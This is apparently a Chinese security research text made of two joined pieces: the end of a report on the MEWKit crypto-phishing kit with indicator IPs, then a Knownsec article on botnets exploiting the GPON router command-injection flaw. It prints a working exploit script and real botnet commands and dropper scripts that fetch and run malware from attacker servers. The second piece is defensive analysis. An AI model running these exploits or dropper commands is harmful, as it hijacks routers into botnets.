尽管我们不能确切的说MEWKit操作是单一攻击者,但我们确实发现了MEWKit实例和其他加密货币和加密货币交易所的钓鱼页面之间的一些有趣链接。
4月17日,MEWKit实例在
www.xn--myetherwalle-occ.com
上正式运行,它的MEWKit脚本从以下位置加载:12cdnsfiles.com/js/wallet.jscdnsfiles.com/js/sm.js后端位置托管在,但另一个MEWKit实例直接托管在cdnsfiles.com上,其资源从上述同一位置加载,后端位置设置为cdns文件的.com / ADM /。
我们看到另一个网站从cdnsfiles.com加载资源,这不是MEWKit实例,而是blockchain.info的钓鱼页面。 该页面本身是一个普通的钓鱼网站,并没有包含MEWKit所拥有的ATS组件 - 它只是收获了登录凭证。 然而,更有趣的是它从以下位置加载资源:
它在用于MEWKit的同时使用cdnfiles.com作为其钓鱼资源,这告诉我们MEWKit背后的攻击者拥有非常广泛的钓鱼页面组合。如果我们查看钓鱼页面的主机,185.207.205.16,我们发现另一大部分钓鱼域名主要关注blockchain.info。 然而,Coinbase也有一个IDN网络钓鱼:
资源: https://community.riskiq.com/search/185.207.205.16
综上所述,因为此报告仅关注MEWKit ,所以RiskIQ PassiveTotal中的域名尚未添加到本报告的IOC部分。然而,由于它提供了MEWKit,因此在本报告IOC部分中提到的IP地址将提供足够的数据点来开始单独的调查。
总结
MEWKit自今年年初就一直被广泛使用了,尽管我们在2018年以前都没见过它,但或许MEWKit在外界早已以不同的功能或形式活跃了。BGP劫持亚马逊Route 53的行为显示了它驱动的攻击者和活动的持续性,执行其攻击的成本表明MEWKit异常成功,技术虽然简单,但却有效地窃取了以太坊。
正如我们在MEWKit的技术分析中所解释的那样,我们无法估计攻击者的收益,因为我们无法知道攻击者控制了多少钱包和地址,这是由于MyEtherWallet的设置方式是以每个受害者为基础发放的地址的。区块链的架构,特别是以太坊允许每个人通过公簿洞察钱包地址余额,但它也维护了所有者的完全匿名性。直到攻击者被抓获或执法部门提供MEWKit攻击中使用的精确地址的见解前,我们永远不会知道其确切的运作。
我们确实知道,各种钱包已经在社交媒体和论坛上发布,表面上收入可能达数百万美元,但我们无法高度自信地将其与MEWKit联系起来。 然而,随着注册域名数量的增加,服务器维护的增多以及活动水平的提高,我们可以推测这次攻击的收入必须足够丰厚,不仅能够维持运营,而且还能盈利。
妥协指标
以下部分包括我们观察到的所有直接属于MEWKit的IOC(控制反转)以及IOC的行为,这些IOC同样可以用于自动化的PassiveTotal项目:https://community.riskiq.com/projects/27cddf0e-a912-1ca7-5a9e-6182d3674045
以下IP地址被检测到正在执行MEWKit实例,并且与列表下方列举在表格中的一个或多个域名相关联。
123456789185.145.131.134185.207.205.16185.207.205.25185.61.137.36198.50.209.8331.31.196.18637.1.203.20946.161.42.425.45.69.74以下是包含注册日期及用于注册的电子邮件地址的详细域名列表。如果电子邮件地址丢失,这意味着该字段默认由隐私服务或注册商填写。由MEWKit建立和用于活动的域名的注册日期紧密重合。
高端渗透测试服务,请访问http://www.scanv.com
招贤纳士:tiancy@knownsec.com本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/608/
-
GPON Home Gateway 远程命令执行漏洞被利用情况
作者:知道创宇404实验室
日期:2018/05/102018/05/07,
ZoomEye Dork
(文末有彩蛋)中heige
吟诗一首(作者:卞之琳):
断章
你在桥上看风景,
看风景人在楼上看你。
明月装饰了你的窗子,
你装饰了别人的梦。
殊不知在GPON Home Gateway远程命令执行漏洞被利用的过程中亦是如此。0x00前言
一. 漏洞详情
2018/04/30,
vpnMentor
公布了GPON
路由器的高危漏洞:验证绕过漏洞(CVE-2018-10561)和命令注入漏洞(CVE-2018-10562)。由于只需要发送一个请求,就可以在GPON路由器
上执行任意命令,所以在上一篇文章《GPON Home Gateway 远程命令执行漏洞分析》,我们给出了僵尸网络的相关预警。结合ZoomEye网络空间搜索引擎以及对漏洞原理的详细研究,我们对
GPON Home Gateway远程命令执行漏洞
被利用情况进行了深入的研究,意外地发现利用该漏洞的僵尸网络是可以被监控的。短短的四天时间内,这片路由器的战场,竞争、撤退、消亡时时刻刻都在上演,在每一个路由器的背后,每天都有着多个不同的恶意控制者,故事精彩得难以想象。
二. 检测原理
漏洞发现者给出的利用脚本如下:
123456789<span class="m">1</span> <span class="c1">#!/bin/bash</span><span class="m">2</span><span class="m">3</span> <span class="nb">echo</span> “<span class="o">[</span>+<span class="o">]</span> Sending the Command… “<span class="m">4</span> <span class="c1"># We send the commands with two modes backtick (`) and semicolon (;) because different models trigger on different devices</span><span class="m">5</span> curl -k -d “XWebPageName<span class="o">=</span>diag<span class="p">&</span><span class="nv">diag_action</span><span class="o">=</span>ping<span class="p">&</span><span class="nv">wan_conlist</span><span class="o">=</span><span class="m">0</span><span class="p">&</span><span class="nv">dest_host</span><span class="o">=</span><span class="se">`</span><span class="nv">$2</span><span class="se">`</span><span class="p">;</span><span class="nv">$2</span><span class="p">&</span><span class="nv">ipv</span><span class="o">=</span><span class="m">0</span>” <span class="nv">$1</span>/GponForm/diag_Form?images/ <span class="m">2</span>>/dev/null <span class="m">1</span>>/dev/null<span class="m">6</span> <span class="nb">echo</span> “<span class="o">[</span>+<span class="o">]</span> Waiting….”<span class="m">7</span> sleep <span class="m">3</span><span class="m">8</span> <span class="nb">echo</span> “<span class="o">[</span>+<span class="o">]</span> Retrieving the ouput….”<span class="m">9</span> curl -k <span class="nv">$1</span>/diag.html?images/ <span class="m">2</span>>/dev/null <span class="p">|</span> grep ‘diag_result <span class="o">=</span> ‘ <span class="p">|</span> sed -e ‘s/<span class="se">\\</span>n/<span class="se">\n</span>/g’该脚本逻辑如下:
步骤1(行5):将注入的命令发送至
/GponForm/diag_Form
并被执行。步骤2(行9):利用绕过漏洞访问
diag.html
页面获取命令执行的结果。关键点在第二步:
当我们不使用
grep diag_result
去过滤返回的结果,将会发现部分路由器会将diag_host
也一并返回。而参数diag_host
就是步骤1中注入的命令。这就意味着,通过ZoomEye网络空间搜索引擎,我们可以监控互联网上相关路由器的
diag.html
页面,从而了解僵尸网络的活动情况。0x01 被利用情况
ZoomEye网络空间搜索引擎在
2018/05/05
、2018/05/07
、2018/05/08
进行了三次探测,一共发现了与僵尸网络相关的命令12
处。一. 被利用情况总览
二. 详细介绍
1. Mirai变种僵尸网络
THANOS
这是一个在我们研究前撤退、研究时重新归来的僵尸网络
使用的感染命令如下:
编号1busybox wget http://104.243.44.250/mips -O /tmp/m
编号10busybox wget http://82.202.166.101/mips -O -
1.1 104.243.44.250 样本
在我们发现相关攻击痕迹时,样本已无法下载。看起来就像始作俑者已经撤退。
但是我们仍然从路由器上运行的样本中了解到该僵尸网络的行为:
- 当前进程
- 网络连接情况
- CNC
82.202.166.101:45
,2018/05/05
未连接成功(2018/05/09
发现该CNC
重新打开)
由于该恶意样本拥有生成随机进程名、对外爆破23端口等特征,故可能是Mirai僵尸网络或其变种。
1.2 82.202.166.101 样本
12# sha256sum 82.202.166.101/mips94717b25e400e142ce14305bf707dfcfe8327986fa187a2c5b32b028898a39ec 82.202.166.101/mips2018/05/07,我们发现了少量该样本的感染痕迹,通过进一步研究,我们认为该僵尸网络已经回归。 由于该样本直接在
1.1 中的 CNC
主机上传播,运行时依旧会生成随机进程名,对外爆破23端口,故我们将两者归为同一僵尸网络家族。- 新的CNC
185.232.65.169:8080
新的
CNC
上线包如下根据这个上线包,我们将该僵尸网络称为
Mirai变种僵尸网络 THANOS
2.
Q bot
僵尸网络变种这是一个持续存在的僵尸网络,在我们三次探测中均有出现。预计感染了大量设备。
使用的感染命令如下:
编号2busybox wget http://185.244.25.162/mips -O /tmp/.m
编号7busybox wget http://58.215.144.205/mips -O /tmp/.q
编号12busybox wget http://58.215.144.205/mips -O /tmp/adj
2.1 185.244.25.162 样本
1234# sha256sum 185.244.25.162/mips73473c37e5590bd3eb043e33e2f8832989b88f99449582399522c63d4d46251e 185.244.25.162/mips# file 185.244.25.162/mips185.244.25.162/mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped该恶意样本属于 MIPS 架构,使用 UPX 加壳。在脱壳对其进行逆向的过程中,我们意外发现了与该样本相关的源码:https://darknetleaks.xyz/archive/botnetfiles/Qbot%20Sources/Hacker%20serverside&clientside/client.c
但该样本和源码依然有很多地方不同:
- 对外扫描的IP段不同,样本中对外扫描的IP段如下:
该样本在对外扫描时,只会扫描表格中的这些IP
- kill别的bot的列表
该样本会检测路由器中已有的进程,如果遇到下列可能属于其它僵尸网络的进程,将会进行
kill
操作(匹配的关键词远比源码中的丰富)该样本的
CNC
为:185.33.145.92:252
,该CNC
依旧处于活跃状态需要注意的是
- 该样本内置了
DDoS
攻击模块,可以根据CNC
指令发动TCP
、UDP
、HTTP
洪水攻击 - 该样本内置了
netcore backdoor
利用模块,并且可以通过CNC
开启对外扫描(默认关闭,相关漏洞详情可以参考链接:http://blog.knownsec.com/2015/01/a-brief-analysis-of-netcore-netis-leak-emergency/)
利用脚本如下:
1<span class="nt">cd</span> <span class="o">/</span><span class="nt">tmp</span> <span class="o">||</span> <span class="nt">cd</span> <span class="o">/</span><span class="nt">var</span><span class="o">/</span><span class="nt">run</span> <span class="o">||</span> <span class="nt">cd</span> <span class="o">/</span><span class="nt">mnt</span> <span class="o">||</span> <span class="nt">cd</span> <span class="o">/</span><span class="nt">root</span> <span class="o">||</span> <span class="nt">cd</span> <span class="o">/;</span> <span class="nt">wget</span> <span class="nt">http</span><span class="o">://</span><span class="nt">185</span><span class="p">.</span><span class="nc">33</span><span class="p">.</span><span class="nc">145</span><span class="p">.</span><span class="nc">92</span><span class="o">/</span><span class="nt">miggs</span><span class="p">.</span><span class="nc">sh</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">777</span> <span class="nt">miggs</span><span class="p">.</span><span class="nc">sh</span><span class="o">;</span> <span class="nt">sh</span> <span class="nt">miggs</span><span class="p">.</span><span class="nc">sh</span><span class="o">;</span> <span class="nt">tftp</span> <span class="nt">185</span><span class="p">.</span><span class="nc">33</span><span class="p">.</span><span class="nc">145</span><span class="p">.</span><span class="nc">92</span> <span class="nt">-c</span> <span class="nt">get</span> <span class="nt">tftp1</span><span class="p">.</span><span class="nc">sh</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">777</span> <span class="nt">tftp1</span><span class="p">.</span><span class="nc">sh</span><span class="o">;</span> <span class="nt">sh</span> <span class="nt">tftp1</span><span class="p">.</span><span class="nc">sh</span><span class="o">;</span> <span class="nt">tftp</span> <span class="nt">-r</span> <span class="nt">tftp2</span><span class="p">.</span><span class="nc">sh</span> <span class="nt">-g</span> <span class="nt">185</span><span class="p">.</span><span class="nc">33</span><span class="p">.</span><span class="nc">145</span><span class="p">.</span><span class="nc">92</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">777</span> <span class="nt">tftp2</span><span class="p">.</span><span class="nc">sh</span><span class="o">;</span> <span class="nt">sh</span> <span class="nt">tftp2</span><span class="p">.</span><span class="nc">sh</span><span class="o">;</span> <span class="nt">ftpget</span> <span class="nt">-v</span> <span class="nt">-u</span> <span class="nt">anonymous</span> <span class="nt">-p</span> <span class="nt">anonymous</span> <span class="nt">-P</span> <span class="nt">21</span> <span class="nt">185</span><span class="p">.</span><span class="nc">33</span><span class="p">.</span><span class="nc">145</span><span class="p">.</span><span class="nc">92</span> <span class="nt">ftp1</span><span class="p">.</span><span class="nc">sh</span> <span class="nt">ftp1</span><span class="p">.</span><span class="nc">sh</span><span class="o">;</span> <span class="nt">sh</span> <span class="nt">ftp1</span><span class="p">.</span><span class="nc">sh</span><span class="o">;</span> <span class="nt">rm</span> <span class="nt">-rf</span> <span class="nt">miggs</span><span class="p">.</span><span class="nc">sh</span> <span class="nt">tftp1</span><span class="p">.</span><span class="nc">sh</span> <span class="nt">tftp2</span><span class="p">.</span><span class="nc">sh</span> <span class="nt">ftp1</span><span class="p">.</span><span class="nc">sh</span><span class="o">;</span> <span class="nt">rm</span> <span class="nt">-rf</span> <span class="o">*;</span> <span class="nt">history</span> <span class="nt">-c</span>2.2 58.215.144.205 样本(2018/05/07 版本)
12# sha256sum 58.215.144.205/mips41111f0941b323c13ca84caf1e552dc78caac713f4dc1a03fc322c1febcbd6ba 58.215.144.205/mips该样本的感染逻辑没有太大变化,
CNC
与上文相同,为:185.33.145.92:252
,所以我们认为这与上文同属于Q bot
僵尸网络家族的变种。2.3 58.215.144.205 样本(2018/05/08 版本)
12# sha256sum 0508/58.215.144.205/mips9590cc3c1e7a32f6221528b526212b2ad87b793b885639580c276243ec60830b 0508/58.215.144.205/mips2018/05/08
,58.215.144.205/mips
更新了相关的样本。通过逆向的结果看,新的样本与之前的逻辑完全不同,恶意控制者更换了控制的程序。新的样本看起来更像是
Mirai
僵尸网络的新变种,具体的感染细节我们仍在持续跟进中。该样本的CNC为
linuxusaarm.com:443
3.
Muhstik
僵尸网络2018/04/20,360netlab曝光了一个长期存在的僵尸网络:
Muhstik僵尸网络
。在本次漏洞事件中,我们也发现了大量Muhstik
僵尸网络的身影。
该僵尸网络使用的感染命令如下:
编号3wget -qO - http://162.243.211.204/gpon|sh
编号4wget -qO - http://162.243.211.204/aio|sh
编号5wget -O /tmp/par http://162.243.211.204/mrt; chmod x /tmp/ping
编号8wget -qO - http://54.39.23.28/1sh | sh
编号9wget -qO - http://104.54.236.173/gpon | sh
由于该僵尸网络样本众多,多条命令有多次重复感染。故我们通过下图展示各样本和各IP的联系:
图中红点代表各IP,灰点代表感染的bash脚本,黄点代表各恶意样本,蓝点代表出现的链接,红线代表从bash脚本中下载的样本
- 各感染脚本如下:
123456789101112131415161718192021222324<span class="err">#</span> <span class="nt">cat</span> <span class="nt">104</span><span class="p">.</span><span class="nc">54</span><span class="p">.</span><span class="nc">236</span><span class="p">.</span><span class="nc">173</span><span class="o">/</span><span class="nt">gpon</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">cron</span> <span class="nt">http</span><span class="o">://</span><span class="nt">162</span><span class="p">.</span><span class="nc">243</span><span class="p">.</span><span class="nc">211</span><span class="p">.</span><span class="nc">204</span><span class="o">/</span><span class="nt">cron</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">cron</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">cron</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">cron</span> <span class="o">&</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span> <span class="nt">http</span><span class="o">://</span><span class="nt">162</span><span class="p">.</span><span class="nc">243</span><span class="p">.</span><span class="nc">211</span><span class="p">.</span><span class="nc">204</span><span class="o">/</span><span class="nt">nsshpftp</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span> <span class="o">&</span><span class="err">#</span> <span class="nt">cat</span> <span class="nt">162</span><span class="p">.</span><span class="nc">243</span><span class="p">.</span><span class="nc">211</span><span class="p">.</span><span class="nc">204</span><span class="o">/</span><span class="nt">gpon</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshcron</span> <span class="nt">http</span><span class="o">://</span><span class="nt">162</span><span class="p">.</span><span class="nc">243</span><span class="p">.</span><span class="nc">211</span><span class="p">.</span><span class="nc">204</span><span class="o">/</span><span class="nt">nsshcron</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshcron</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshcron</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshcron</span><span class="o">&</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span> <span class="nt">http</span><span class="o">://</span><span class="nt">162</span><span class="p">.</span><span class="nc">243</span><span class="p">.</span><span class="nc">211</span><span class="p">.</span><span class="nc">204</span><span class="o">/</span><span class="nt">nsshpftp</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span> <span class="o">&</span><span class="err">#</span> <span class="nt">cat</span> <span class="nt">162</span><span class="p">.</span><span class="nc">243</span><span class="p">.</span><span class="nc">211</span><span class="p">.</span><span class="nc">204</span><span class="o">/</span><span class="nt">gpon</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshcron</span> <span class="nt">http</span><span class="o">://</span><span class="nt">162</span><span class="p">.</span><span class="nc">243</span><span class="p">.</span><span class="nc">211</span><span class="p">.</span><span class="nc">204</span><span class="o">/</span><span class="nt">nsshcron</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshcron</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshcron</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshcron</span><span class="o">&</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span> <span class="nt">http</span><span class="o">://</span><span class="nt">162</span><span class="p">.</span><span class="nc">243</span><span class="p">.</span><span class="nc">211</span><span class="p">.</span><span class="nc">204</span><span class="o">/</span><span class="nt">nsshpftp</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span> <span class="o">&</span><span class="nt">root</span><span class="p">@</span><span class="k">vultr</span><span class="o">:~/</span><span class="nt">gpon</span><span class="err">#</span> <span class="nt">cat</span> <span class="nt">54</span><span class="p">.</span><span class="nc">39</span><span class="p">.</span><span class="nc">23</span><span class="p">.</span><span class="nc">28</span><span class="o">/</span><span class="nt">1sh</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">cron</span> <span class="nt">http</span><span class="o">://</span><span class="nt">51</span><span class="p">.</span><span class="nc">254</span><span class="p">.</span><span class="nc">221</span><span class="p">.</span><span class="nc">129</span><span class="o">/</span><span class="nt">c</span><span class="o">/</span><span class="nt">cron</span><span class="p">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">cron</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">cron</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">cron</span> <span class="o">&</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">tfti</span> <span class="nt">http</span><span class="o">://</span><span class="nt">51</span><span class="p">.</span><span class="nc">254</span><span class="p">.</span><span class="nc">221</span><span class="p">.</span><span class="nc">129</span><span class="o">/</span><span class="nt">c</span><span class="o">/</span><span class="nt">tfti</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">tfti</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">tfti</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">tfti</span> <span class="o">&</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">pftp</span> <span class="nt">http</span><span class="o">://</span><span class="nt">51</span><span class="p">.</span><span class="nc">254</span><span class="p">.</span><span class="nc">221</span><span class="p">.</span><span class="nc">129</span><span class="o">/</span><span class="nt">c</span><span class="o">/</span><span class="nt">pftp</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">pftp</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">pftp</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">pftp</span> <span class="o">&</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">ntpd</span> <span class="nt">http</span><span class="o">://</span><span class="nt">51</span><span class="p">.</span><span class="nc">254</span><span class="p">.</span><span class="nc">221</span><span class="p">.</span><span class="nc">129</span><span class="o">/</span><span class="nt">c</span><span class="o">/</span><span class="nt">ntpd</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">ntpd</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">ntpd</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">ntpd</span> <span class="o">&</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">sshd</span> <span class="nt">http</span><span class="o">://</span><span class="nt">51</span><span class="p">.</span><span class="nc">254</span><span class="p">.</span><span class="nc">221</span><span class="p">.</span><span class="nc">129</span><span class="o">/</span><span class="nt">c</span><span class="o">/</span><span class="nt">sshd</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">sshd</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">sshd</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">sshd</span> <span class="o">&</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">bash</span> <span class="nt">http</span><span class="o">://</span><span class="nt">51</span><span class="p">.</span><span class="nc">254</span><span class="p">.</span><span class="nc">221</span><span class="p">.</span><span class="nc">129</span><span class="o">/</span><span class="nt">c</span><span class="o">/</span><span class="nt">bash</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">bash</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">bash</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">bash</span> <span class="o">&</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">pty</span> <span class="nt">http</span><span class="o">://</span><span class="nt">51</span><span class="p">.</span><span class="nc">254</span><span class="p">.</span><span class="nc">221</span><span class="p">.</span><span class="nc">129</span><span class="o">/</span><span class="nt">c</span><span class="o">/</span><span class="nt">pty</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">pty</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">pty</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">pty</span> <span class="o">&</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">shy</span> <span class="nt">http</span><span class="o">://</span><span class="nt">51</span><span class="p">.</span><span class="nc">254</span><span class="p">.</span><span class="nc">221</span><span class="p">.</span><span class="nc">129</span><span class="o">/</span><span class="nt">c</span><span class="o">/</span><span class="nt">shy</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">shy</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">shy</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">shy</span> <span class="o">&</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshtfti</span> <span class="nt">http</span><span class="o">://</span><span class="nt">51</span><span class="p">.</span><span class="nc">254</span><span class="p">.</span><span class="nc">221</span><span class="p">.</span><span class="nc">129</span><span class="o">/</span><span class="nt">c</span><span class="o">/</span><span class="nt">nsshtfti</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshtfti</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshtfti</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshtfti</span> <span class="o">&</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshcron</span> <span class="nt">http</span><span class="o">://</span><span class="nt">51</span><span class="p">.</span><span class="nc">254</span><span class="p">.</span><span class="nc">221</span><span class="p">.</span><span class="nc">129</span><span class="o">/</span><span class="nt">c</span><span class="o">/</span><span class="nt">nsshcron</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshcron</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshcron</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshcron</span> <span class="o">&</span><span class="nt">wget</span> <span class="nt">-O</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span> <span class="nt">http</span><span class="o">://</span><span class="nt">51</span><span class="p">.</span><span class="nc">254</span><span class="p">.</span><span class="nc">221</span><span class="p">.</span><span class="nc">129</span><span class="o">/</span><span class="nt">c</span><span class="o">/</span><span class="nt">nsshpftp</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span><span class="o">;</span> <span class="nt">chmod</span> <span class="nt">700</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span><span class="o">;</span> <span class="o">/</span><span class="nt">tmp</span><span class="o">/</span><span class="nt">nsshpftp</span> <span class="o">&</span><span class="nt">fetch</span> <span class="nt">-o</span> <span class="o">/</span><span class="nt">sbin</span><span class="o">/</span><span class="nt">kmpathd</span> <span class="nt">http</span><span class="o">://</span><span class="nt">51</span><span class="p">.</span><span class="nc">254</span><span class="p">.</span><span class="nc">221</span><span class="p">.</span><span class="nc">129</span><span class="o">/</span><span class="nt">c</span><span class="o">/</span><span class="nt">fbsd</span><span class="o">;</span> <span class="nt">chmod</span> <span class="o">+</span><span class="nt">x</span> <span class="o">/</span><span class="nt">sbin</span><span class="o">/</span><span class="nt">kmpathd</span><span class="o">;</span> <span class="o">/</span><span class="nt">sbin</span><span class="o">/</span><span class="nt">kmpathd</span> <span class="o">&</span>- 各样本
sha256
值如下:
